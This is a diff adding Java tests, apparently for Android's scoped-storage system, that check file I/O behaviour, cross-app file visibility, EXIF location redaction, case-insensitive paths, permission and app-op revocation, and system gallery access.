+
+    @Test
+    public void testLowLevelFileIO() throws Exception {
+        String filePath = new File(getDownloadDir(), NONMEDIA_FILE_NAME).toString();
+        try {
+            int createFlags = O_CREAT | O_RDWR;
+            int createExclFlags = createFlags | O_EXCL;
+
+            FileDescriptor fd = Os.open(filePath, createExclFlags, S_IRWXU);
+            Os.close(fd);
+            assertThrows(
+                    ErrnoException.class, () -> {
+                        Os.open(filePath, createExclFlags, S_IRWXU);
+                    });
+
+            fd = Os.open(filePath, createFlags, S_IRWXU);
+            try {
+                assertThat(Os.write(fd,
+                        ByteBuffer.wrap(BYTES_DATA1))).isEqualTo(BYTES_DATA1.length);
+                assertFileContent(fd, BYTES_DATA1);
+            } finally {
+                Os.close(fd);
+            }
+            // should just append the data
+            fd = Os.open(filePath, createFlags | O_APPEND, S_IRWXU);
+            try {
+                assertThat(Os.write(fd,
+                        ByteBuffer.wrap(BYTES_DATA2))).isEqualTo(BYTES_DATA2.length);
+                final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
+                assertFileContent(fd, expected);
+            } finally {
+                Os.close(fd);
+            }
+            // should overwrite everything
+            fd = Os.open(filePath, createFlags | O_TRUNC, S_IRWXU);
+            try {
+                final byte[] otherData = "this is different data".getBytes();
+                assertThat(Os.write(fd, ByteBuffer.wrap(otherData))).isEqualTo(otherData.length);
+                assertFileContent(fd, otherData);
+            } finally {
+                Os.close(fd);
+            }
+        } finally {
+            new File(filePath).delete();
+        }
+    }
+
+    /**
+     * Test that media files from other packages are only visible to apps with storage permission.
+     */
+    @Test
+    public void testListDirectoriesWithMediaFiles() throws Exception {
+        final File dcimDir = getDcimDir();
+        final File dir = new File(dcimDir, TEST_DIRECTORY_NAME);
+        final File videoFile = new File(dir, VIDEO_FILE_NAME);
+        final String videoFileName = videoFile.getName();
+        try {
+            if (!dir.exists()) {
+                assertThat(dir.mkdir()).isTrue();
+            }
+
+            assertThat(createFileAs(APP_B_NO_PERMS, videoFile.getPath())).isTrue();
+            // App B should see TEST_DIRECTORY in DCIM and new file in TEST_DIRECTORY.
+            assertThat(listAs(APP_B_NO_PERMS, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(videoFileName);
+
+            // App A has storage permission, so should see TEST_DIRECTORY in DCIM and new file
+            // in TEST_DIRECTORY.
+            assertThat(listAs(APP_A_HAS_RES, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(APP_A_HAS_RES, dir.getPath())).containsExactly(videoFileName);
+
+            // We are an app without storage permission; should see TEST_DIRECTORY in DCIM and
+            // should not see new file in new TEST_DIRECTORY.
+            assertThat(dcimDir.list()).asList().contains(TEST_DIRECTORY_NAME);
+            assertThat(dir.list()).asList().doesNotContain(videoFileName);
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getPath());
+            dir.delete();
+        }
+    }
+
+    /**
+     * Test that app can't see non-media files created by other packages
+     */
+    @Test
+    public void testListDirectoriesWithNonMediaFiles() throws Exception {
+        final File downloadDir = getDownloadDir();
+        final File dir = new File(downloadDir, TEST_DIRECTORY_NAME);
+        final File pdfFile = new File(dir, NONMEDIA_FILE_NAME);
+        final String pdfFileName = pdfFile.getName();
+        try {
+            if (!dir.exists()) {
+                assertThat(dir.mkdir()).isTrue();
+            }
+
+            // Have App B create non media file in the new directory.
+            assertThat(createFileAs(APP_B_NO_PERMS, pdfFile.getPath())).isTrue();
+
+            // App B should see TEST_DIRECTORY in downloadDir and new non media file in
+            // TEST_DIRECTORY.
+            assertThat(listAs(APP_B_NO_PERMS, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(pdfFileName);
+
+            // APP A with storage permission should see TEST_DIRECTORY in downloadDir
+            // and should not see non media file in TEST_DIRECTORY.
+            assertThat(listAs(APP_A_HAS_RES, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName);
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, pdfFile.getPath());
+            dir.delete();
+        }
+    }
+
+    /**
+     * Test that app can only see its directory in Android/data.
+     */
+    @Test
+    public void testListFilesFromExternalFilesDirectory() throws Exception {
+        final String packageName = THIS_PACKAGE_NAME;
+        final File nonmediaFile = new File(getExternalFilesDir(), NONMEDIA_FILE_NAME);
+
+        try {
+            // Create a file in app's external files directory
+            if (!nonmediaFile.exists()) {
+                assertThat(nonmediaFile.createNewFile()).isTrue();
+            }
+            // App should see its directory and directories of shared packages. App should see all
+            // files and directories in its external directory.
+            assertDirectoryContains(nonmediaFile.getParentFile(), nonmediaFile);
+
+            // App A should not see other app's external files directory despite RES.
+            assertThrows(IOException.class,
+                    () -> listAs(APP_A_HAS_RES, getAndroidDataDir().getPath()));
+            assertThrows(IOException.class,
+                    () -> listAs(APP_A_HAS_RES, getExternalFilesDir().getPath()));
+        } finally {
+            nonmediaFile.delete();
+        }
+    }
+
+    /**
+     * Test that app can see files and directories in Android/media.
+     */
+    @Test
+    public void testListFilesFromExternalMediaDirectory() throws Exception {
+        final File videoFile = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
+
+        try {
+            // Create a file in app's external media directory
+            if (!videoFile.exists()) {
+                assertThat(videoFile.createNewFile()).isTrue();
+            }
+
+            // App should see its directory and other app's external media directories with media
+            // files.
+            assertDirectoryContains(videoFile.getParentFile(), videoFile);
+
+            // App A with storage permission should see other app's external media directory.
+            // Apps with READ_EXTERNAL_STORAGE can list files in other app's external media
+            // directory.
+            assertThat(listAs(APP_A_HAS_RES, getAndroidMediaDir().getPath()))
+                    .contains(THIS_PACKAGE_NAME);
+            assertThat(listAs(APP_A_HAS_RES, getExternalMediaDir().getPath()))
+                    .containsExactly(videoFile.getName());
+        } finally {
+            videoFile.delete();
+        }
+    }
+
+    @Test
+    public void testMetaDataRedaction() throws Exception {
+        File jpgFile = new File(getPicturesDir(), "img_metadata.jpg");
+        try {
+            if (jpgFile.exists()) {
+                assertThat(jpgFile.delete()).isTrue();
+            }
+
+            HashMap<String, String> originalExif =
+                    getExifMetadataFromRawResource(R.raw.img_with_metadata);
+
+            try (InputStream in =
+                         getContext().getResources().openRawResource(R.raw.img_with_metadata);
+                FileOutputStream out = new FileOutputStream(jpgFile)) {
+                // Dump the image we have to external storage
+                FileUtils.copy(in, out);
+                // Sync file to disk to ensure file is fully written to the lower fs attempting to
+                // open for redaction. Otherwise, the FUSE daemon might not accurately parse the
+                // EXIF tags and might misleadingly think there are not tags to redact
+                out.getFD().sync();
+
+                HashMap<String, String> exif = getExifMetadata(jpgFile);
+                assertExifMetadataMatch(exif, originalExif);
+
+                HashMap<String, String> exifFromTestApp =
+                        readExifMetadataFromTestApp(APP_A_HAS_RES, jpgFile.getPath());
+                // App does not have AML; shouldn't have access to the same metadata.
+                assertExifMetadataMismatch(exifFromTestApp, originalExif);
+
+                // TODO(b/146346138): Test that if we give APP_A write URI permission,
+                //  it would be able to access the metadata.
+            } // Intentionally keep the original streams open during the test so bytes are more
+            // likely to be in the VFS cache from both file opens
+        } finally {
+            jpgFile.delete();
+        }
+    }
+
+    @Test
+    public void testOpenFilePathFirstWriteContentResolver() throws Exception {
+        String displayName = "open_file_path_write_content_resolver.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+
+            assertRWR(readPfd, writePfd);
+            assertUpperFsFd(writePfd); // With cache
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenContentResolverFirstWriteContentResolver() throws Exception {
+        String displayName = "open_content_resolver_write_content_resolver.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+            ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+
+            assertRWR(readPfd, writePfd);
+            assertLowerFsFdWithPassthrough(writePfd);
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenFilePathFirstWriteFilePath() throws Exception {
+        String displayName = "open_file_path_write_file_path.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
+
+            assertRWR(readPfd, writePfd);
+            assertUpperFsFd(readPfd); // With cache
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenContentResolverFirstWriteFilePath() throws Exception {
+        String displayName = "open_content_resolver_write_file_path.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
+            ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+
+            assertRWR(readPfd, writePfd);
+            assertLowerFsFdWithPassthrough(readPfd);
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenContentResolverWriteOnly() throws Exception {
+        String displayName = "open_content_resolver_write_only.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            // We upgrade 'w' only to 'rw'
+            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "w");
+            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
+
+            assertRWR(readPfd, writePfd);
+            assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
+            assertLowerFsFdWithPassthrough(writePfd);
+            assertLowerFsFdWithPassthrough(readPfd);
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenContentResolverDup() throws Exception {
+        String displayName = "open_content_resolver_dup.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            file.delete();
+            assertThat(file.createNewFile()).isTrue();
+
+            // Even if we close the original fd, since we have a dup open
+            // the FUSE IO should still bypass the cache
+            try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw")) {
+                try (ParcelFileDescriptor writePfdDup = writePfd.dup();
+                     ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(
+                             file, MODE_READ_WRITE)) {
+                    writePfd.close();
+
+                    assertRWR(readPfd, writePfdDup);
+                    assertLowerFsFdWithPassthrough(writePfdDup);
+                }
+            }
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenContentResolverClose() throws Exception {
+        String displayName = "open_content_resolver_close.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            byte[] readBuffer = new byte[10];
+            byte[] writeBuffer = new byte[10];
+            Arrays.fill(writeBuffer, (byte) 1);
+
+            assertThat(file.createNewFile()).isTrue();
+
+            // Lower fs open and write
+            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+            Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
+
+            // Close so upper fs open will not use direct_io
+            writePfd.close();
+
+            // Upper fs open and read without direct_io
+            ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+            Os.pread(readPfd.getFileDescriptor(), readBuffer, 0, 10, 0);
+
+            // Last write on lower fs is visible via upper fs
+            assertThat(readBuffer).isEqualTo(writeBuffer);
+            assertThat(readPfd.getStatSize()).isEqualTo(writeBuffer.length);
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testContentResolverDelete() throws Exception {
+        String displayName = "content_resolver_delete.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            deleteWithMediaProvider(file);
+
+            assertThat(file.exists()).isFalse();
+            assertThat(file.createNewFile()).isTrue();
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testContentResolverUpdate() throws Exception {
+        String oldDisplayName = "content_resolver_update_old.jpg";
+        String newDisplayName = "content_resolver_update_new.jpg";
+        File oldFile = new File(getDcimDir(), oldDisplayName);
+        File newFile = new File(getDcimDir(), newDisplayName);
+
+        try {
+            assertThat(oldFile.createNewFile()).isTrue();
+            // Publish the pending oldFile before updating with MediaProvider. Not publishing the
+            // file will make MP consider pending from FUSE as explicit IS_PENDING
+            final Uri uri = MediaStore.scanFile(getContentResolver(), oldFile);
+            assertNotNull(uri);
+
+            updateDisplayNameWithMediaProvider(uri,
+                    Environment.DIRECTORY_DCIM, oldDisplayName, newDisplayName);
+
+            assertThat(oldFile.exists()).isFalse();
+            assertThat(oldFile.createNewFile()).isTrue();
+            assertThat(newFile.exists()).isTrue();
+            assertThat(newFile.createNewFile()).isFalse();
+        } finally {
+            oldFile.delete();
+            newFile.delete();
+        }
+    }
+
+    @Test
+    public void testDefaultNoIsolatedStorageFlag() throws Exception {
+        assertThat(Environment.isExternalStorageLegacy()).isFalse();
+    }
+
+    @Test
+    public void testCreateLowerCaseDeleteUpperCase() throws Exception {
+        File upperCase = new File(getDownloadDir(), "CREATE_LOWER_DELETE_UPPER");
+        File lowerCase = new File(getDownloadDir(), "create_lower_delete_upper");
+
+        createDeleteCreate(lowerCase, upperCase);
+    }
+
+    @Test
+    public void testCreateUpperCaseDeleteLowerCase() throws Exception {
+        File upperCase = new File(getDownloadDir(), "CREATE_UPPER_DELETE_LOWER");
+        File lowerCase = new File(getDownloadDir(), "create_upper_delete_lower");
+
+        createDeleteCreate(upperCase, lowerCase);
+    }
+
+    @Test
+    public void testCreateMixedCaseDeleteDifferentMixedCase() throws Exception {
+        File mixedCase1 = new File(getDownloadDir(), "CrEaTe_MiXeD_dElEtE_mIxEd");
+        File mixedCase2 = new File(getDownloadDir(), "cReAtE_mIxEd_DeLeTe_MiXeD");
+
+        createDeleteCreate(mixedCase1, mixedCase2);
+    }
+
+    @Test
+    public void testAndroidDataObbDoesNotForgetMount() throws Exception {
+        File dataDir = getContext().getExternalFilesDir(null);
+        File upperCaseDataDir = new File(dataDir.getPath().replace("Android/data", "ANDROID/DATA"));
+
+        File obbDir = getContext().getObbDir();
+        File upperCaseObbDir = new File(obbDir.getPath().replace("Android/obb", "ANDROID/OBB"));
+
+
+        StructStat beforeDataStruct = Os.stat(dataDir.getPath());
+        StructStat beforeObbStruct = Os.stat(obbDir.getPath());
+
+        assertThat(dataDir.exists()).isTrue();
+        assertThat(upperCaseDataDir.exists()).isTrue();
+        assertThat(obbDir.exists()).isTrue();
+        assertThat(upperCaseObbDir.exists()).isTrue();
+
+        StructStat afterDataStruct = Os.stat(upperCaseDataDir.getPath());
+        StructStat afterObbStruct = Os.stat(upperCaseObbDir.getPath());
+
+        assertThat(beforeDataStruct.st_dev).isEqualTo(afterDataStruct.st_dev);
+        assertThat(beforeObbStruct.st_dev).isEqualTo(afterObbStruct.st_dev);
+    }
+
+    @Test
+    public void testCacheConsistencyForCaseInsensitivity() throws Exception {
+        File upperCaseFile = new File(getDownloadDir(), "CACHE_CONSISTENCY_FOR_CASE_INSENSITIVITY");
+        File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
+
+        try {
+            ParcelFileDescriptor upperCasePfd =
+                    ParcelFileDescriptor.open(upperCaseFile, MODE_READ_WRITE | MODE_CREATE);
+            ParcelFileDescriptor lowerCasePfd =
+                    ParcelFileDescriptor.open(lowerCaseFile, MODE_READ_WRITE | MODE_CREATE);
+
+            assertRWR(upperCasePfd, lowerCasePfd);
+            assertRWR(lowerCasePfd, upperCasePfd);
+        } finally {
+            upperCaseFile.delete();
+            lowerCaseFile.delete();
+        }
+    }
+
+    @Test
+    public void testInsertDefaultPrimaryCaseInsensitiveCheck() throws Exception {
+        final File podcastsDir = getPodcastsDir();
+        final File podcastsDirLowerCase =
+                new File(getExternalStorageDir(), Environment.DIRECTORY_PODCASTS.toLowerCase());
+        final File fileInPodcastsDirLowerCase = new File(podcastsDirLowerCase, AUDIO_FILE_NAME);
+        try {
+            // Delete the directory if it already exists
+            if (podcastsDir.exists()) {
+                deleteAsLegacyApp(podcastsDir);
+            }
+            assertThat(podcastsDir.exists()).isFalse();
+            assertThat(podcastsDirLowerCase.exists()).isFalse();
+
+            // Create the directory with lower case
+            assertThat(podcastsDirLowerCase.mkdir()).isTrue();
+            // Because of case-insensitivity, even though directory is created
+            // with lower case, we should be able to see both directory names.
+            assertThat(podcastsDirLowerCase.exists()).isTrue();
+            assertThat(podcastsDir.exists()).isTrue();
+
+            // File creation with lower case path of podcasts directory should not fail
+            assertThat(fileInPodcastsDirLowerCase.createNewFile()).isTrue();
+        } finally {
+            fileInPodcastsDirLowerCase.delete();
+            deleteAsLegacyApp(podcastsDirLowerCase);
+            podcastsDir.mkdirs();
+        }
+    }
+
+    private void createDeleteCreate(File create, File delete) throws Exception {
+        try {
+            assertThat(create.createNewFile()).isTrue();
+            // Wait for the kernel to update the dentry cache.
+            Thread.sleep(100);
+
+            assertThat(delete.delete()).isTrue();
+            // Wait for the kernel to clean up the dentry cache.
+            Thread.sleep(100);
+
+            assertThat(create.createNewFile()).isTrue();
+            // Wait for the kernel to update the dentry cache.
+            Thread.sleep(100);
+        } finally {
+            create.delete();
+            delete.delete();
+        }
+    }
+
+    @Test
+    public void testReadStorageInvalidation() throws Exception {
+        testAppOpInvalidation(APP_C, new File(getDcimDir(), "read_storage.jpg"),
+                Manifest.permission.READ_EXTERNAL_STORAGE,
+                AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
+    }
+
+    @Test
+    public void testWriteStorageInvalidation() throws Exception {
+        testAppOpInvalidation(APP_C_LEGACY, new File(getDcimDir(), "write_storage.jpg"),
+                Manifest.permission.WRITE_EXTERNAL_STORAGE,
+                AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, /* forWrite */ true);
+    }
+
+    @Test
+    public void testManageStorageInvalidation() throws Exception {
+        testAppOpInvalidation(APP_C, new File(getDownloadDir(), "manage_storage.pdf"),
+                /* permission */ null, OPSTR_MANAGE_EXTERNAL_STORAGE, /* forWrite */ true);
+    }
+
+    @Test
+    public void testWriteImagesInvalidation() throws Exception {
+        testAppOpInvalidation(APP_C, new File(getDcimDir(), "write_images.jpg"),
+                /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, /* forWrite */ true);
+    }
+
+    @Test
+    public void testWriteVideoInvalidation() throws Exception {
+        testAppOpInvalidation(APP_C, new File(getDcimDir(), "write_video.mp4"),
+                /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, /* forWrite */ true);
+    }
+
+    @Test
+    public void testAccessMediaLocationInvalidation() throws Exception {
+        File imgFile = new File(getDcimDir(), "access_media_location.jpg");
+
+        try {
+            // Setup image with sensitive data on external storage
+            HashMap<String, String> originalExif =
+                    getExifMetadataFromRawResource(R.raw.img_with_metadata);
+            try (InputStream in =
+                         getContext().getResources().openRawResource(R.raw.img_with_metadata);
+                 OutputStream out = new FileOutputStream(imgFile)) {
+                // Dump the image we have to external storage
+                FileUtils.copy(in, out);
+            }
+            HashMap<String, String> exif = getExifMetadata(imgFile);
+            assertExifMetadataMatch(exif, originalExif);
+
+            // Install test app
+            installAppWithStoragePermissions(APP_C);
+
+            // Grant A_M_L and verify access to sensitive data
+            grantPermission(APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+            HashMap<String, String> exifFromTestApp =
+                    readExifMetadataFromTestApp(APP_C, imgFile.getPath());
+            assertExifMetadataMatch(exifFromTestApp, originalExif);
+
+            // Revoke A_M_L and verify sensitive data redaction
+            revokePermission(
+                    APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+            exifFromTestApp = readExifMetadataFromTestApp(APP_C, imgFile.getPath());
+            assertExifMetadataMismatch(exifFromTestApp, originalExif);
+
+            // Re-grant A_M_L and verify access to sensitive data
+            grantPermission(APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+            exifFromTestApp = readExifMetadataFromTestApp(APP_C, imgFile.getPath());
+            assertExifMetadataMatch(exifFromTestApp, originalExif);
+        } finally {
+            imgFile.delete();
+            uninstallAppNoThrow(APP_C);
+        }
+    }
+
+    @Test
+    public void testAppUpdateInvalidation() throws Exception {
+        File file = new File(getDcimDir(), "app_update.jpg");
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            // Install legacy
+            installAppWithStoragePermissions(APP_C_LEGACY);
+            grantPermission(APP_C_LEGACY.getPackageName(),
+                    Manifest.permission.WRITE_EXTERNAL_STORAGE); // Grants write access for legacy
+
+            // Legacy app can read and write media files contributed by others
+            assertThat(canOpenFileAs(APP_C_LEGACY, file, /* forWrite */ false)).isTrue();
+            assertThat(canOpenFileAs(APP_C_LEGACY, file, /* forWrite */ true)).isTrue();
+
+            // Update to non-legacy
+            installAppWithStoragePermissions(APP_C);
+            grantPermission(APP_C_LEGACY.getPackageName(),
+                    Manifest.permission.WRITE_EXTERNAL_STORAGE); // No effect for non-legacy
+
+            // Non-legacy app can read media files contributed by others
+            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ false)).isTrue();
+            // But cannot write
+            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ true)).isFalse();
+        } finally {
+            file.delete();
+            uninstallAppNoThrow(APP_C);
+        }
+    }
+
+    @Test
+    public void testAppReinstallInvalidation() throws Exception {
+        File file = new File(getDcimDir(), "app_reinstall.jpg");
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            // Install
+            installAppWithStoragePermissions(APP_C);
+            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ false)).isTrue();
+
+            // Re-install
+            uninstallAppNoThrow(APP_C);
+            installApp(APP_C);
+            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ false)).isFalse();
+        } finally {
+            file.delete();
+            uninstallAppNoThrow(APP_C);
+        }
+    }
+
+    private void testAppOpInvalidation(TestApp app, File file, @Nullable String permission,
+            String opstr, boolean forWrite) throws Exception {
+        boolean alreadyInstalled = true;
+        try {
+            if (!isAppInstalled(app)) {
+                alreadyInstalled = false;
+                installApp(app);
+            }
+            assertThat(file.createNewFile()).isTrue();
+            assertAppOpInvalidation(app, file, permission, opstr, forWrite);
+        } finally {
+            file.delete();
+            if (!alreadyInstalled) {
+                // only uninstall if we installed this app here
+                uninstallApp(app);
+            }
+        }
+    }
+
+    /** If {@code permission} is null, appops are flipped, otherwise permissions are flipped */
+    private void assertAppOpInvalidation(TestApp app, File file, @Nullable String permission,
+            String opstr, boolean forWrite) throws Exception {
+        String packageName = app.getPackageName();
+        int uid = getContext().getPackageManager().getPackageUid(packageName, 0);
+
+        // Deny
+        if (permission != null) {
+            revokePermission(packageName, permission);
+        } else {
+            denyAppOpsToUid(uid, opstr);
+        }
+        assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
+
+        // Grant
+        if (permission != null) {
+            grantPermission(packageName, permission);
+        } else {
+            allowAppOpsToUid(uid, opstr);
+        }
+        assertThat(canOpenFileAs(app, file, forWrite)).isTrue();
+
+        // Deny
+        if (permission != null) {
+            revokePermission(packageName, permission);
+        } else {
+            denyAppOpsToUid(uid, opstr);
+        }
+        assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
+    }
+
+    @Test
+    public void testDisableOpResetForSystemGallery() throws Exception {
+        final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
+        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Have another app create an image file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImageFile.getPath())).isTrue();
+            assertThat(otherAppImageFile.exists()).isTrue();
+
+            // Have another app create a video file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+            assertThat(otherAppVideoFile.exists()).isTrue();
+
+            assertCanWriteAndRead(otherAppImageFile, BYTES_DATA1);
+            assertCanWriteAndRead(otherAppVideoFile, BYTES_DATA1);
+
+            // Reset app op should not reset System Gallery privileges
+            executeShellCommand("appops reset " + THIS_PACKAGE_NAME);
+
+            // Assert we can still write to images/videos
+            assertCanWriteAndRead(otherAppImageFile, BYTES_DATA2);
+            assertCanWriteAndRead(otherAppVideoFile, BYTES_DATA2);
+
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImageFile.getAbsolutePath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppVideoFile.getAbsolutePath());
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testSystemGalleryAppHasFullAccessToImages() throws Exception {
+        final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
+        final File topLevelImageFile = new File(getExternalStorageDir(), IMAGE_FILE_NAME);
+        final File imageInAnObviouslyWrongPlace = new File(getMusicDir(), IMAGE_FILE_NAME);
+
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Have another app create an image file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImageFile.getPath())).isTrue();
+            assertThat(otherAppImageFile.exists()).isTrue();
+
+            // Assert we can write to the file
+            try (FileOutputStream fos = new FileOutputStream(otherAppImageFile)) {
+                fos.write(BYTES_DATA1);
+            }
+
+            // Assert we can read from the file
+            assertFileContent(otherAppImageFile, BYTES_DATA1);
+
+            // Assert we can delete the file
+            assertThat(otherAppImageFile.delete()).isTrue();
+            assertThat(otherAppImageFile.exists()).isFalse();
+
+            // Can create an image anywhere
+            assertCanCreateFile(topLevelImageFile);
+            assertCanCreateFile(imageInAnObviouslyWrongPlace);
+
+            // Put the file back in its place and let APP B delete it
+            assertThat(otherAppImageFile.createNewFile()).isTrue();
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImageFile.getAbsolutePath());
+            otherAppImageFile.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testSystemGalleryAppHasNoFullAccessToAudio() throws Exception {
+        final File otherAppAudioFile = new File(getMusicDir(), "other_" + AUDIO_FILE_NAME);
+        final File topLevelAudioFile = new File(getExternalStorageDir(), AUDIO_FILE_NAME);
+        final File audioInAnObviouslyWrongPlace = new File(getPicturesDir(), AUDIO_FILE_NAME);
+
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Have another app create an audio file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppAudioFile.getPath())).isTrue();
+            assertThat(otherAppAudioFile.exists()).isTrue();
+
+            // Assert we can't access the file
+            assertThat(canOpen(otherAppAudioFile, /* forWrite */ false)).isFalse();
+            assertThat(canOpen(otherAppAudioFile, /* forWrite */ true)).isFalse();
+
+            // Assert we can't delete the file
+            assertThat(otherAppAudioFile.delete()).isFalse();
+
+            // Can't create an audio file where it doesn't belong
+            assertThrows(IOException.class, "Operation not permitted",
+                    () -> {
+                        topLevelAudioFile.createNewFile();
+                    });
+            assertThrows(IOException.class, "Operation not permitted",
+                    () -> {
+                        audioInAnObviouslyWrongPlace.createNewFile();
+                    });
+        } finally {
+            deleteFileAs(APP_B_NO_PERMS, otherAppAudioFile.getPath());
+            topLevelAudioFile.delete();
+            audioInAnObviouslyWrongPlace.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testSystemGalleryCanRenameImagesAndVideos() throws Exception {
+        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+        final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+        final File topLevelVideoFile = new File(getExternalStorageDir(), VIDEO_FILE_NAME);
+        final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Have another app create a video file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+            assertThat(otherAppVideoFile.exists()).isTrue();
+
+            // Write some data to the file
+            try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+                fos.write(BYTES_DATA1);
+            }
+            assertFileContent(otherAppVideoFile, BYTES_DATA1);
+
+            // Assert we can rename the file and ensure the file has the same content
+            assertCanRenameFile(otherAppVideoFile, videoFile);
+            assertFileContent(videoFile, BYTES_DATA1);
+            // We can even move it to the top level directory
+            assertCanRenameFile(videoFile, topLevelVideoFile);
+            assertFileContent(topLevelVideoFile, BYTES_DATA1);
+            // And we can even convert it into an image file, because why not?
+            assertCanRenameFile(topLevelVideoFile, imageFile);
+            assertFileContent(imageFile, BYTES_DATA1);
+
+            // We can convert it to a music file, but we won't have access to music file after
+            // renaming.
+            assertThat(imageFile.renameTo(musicFile)).isTrue();
+            assertThat(getFileRowIdFromDatabase(musicFile)).isEqualTo(-1);
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppVideoFile.getAbsolutePath());
+            imageFile.delete();
+            videoFile.delete();
+            topLevelVideoFile.delete();
+            executeShellCommand("rm  " + musicFile.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), musicFile);
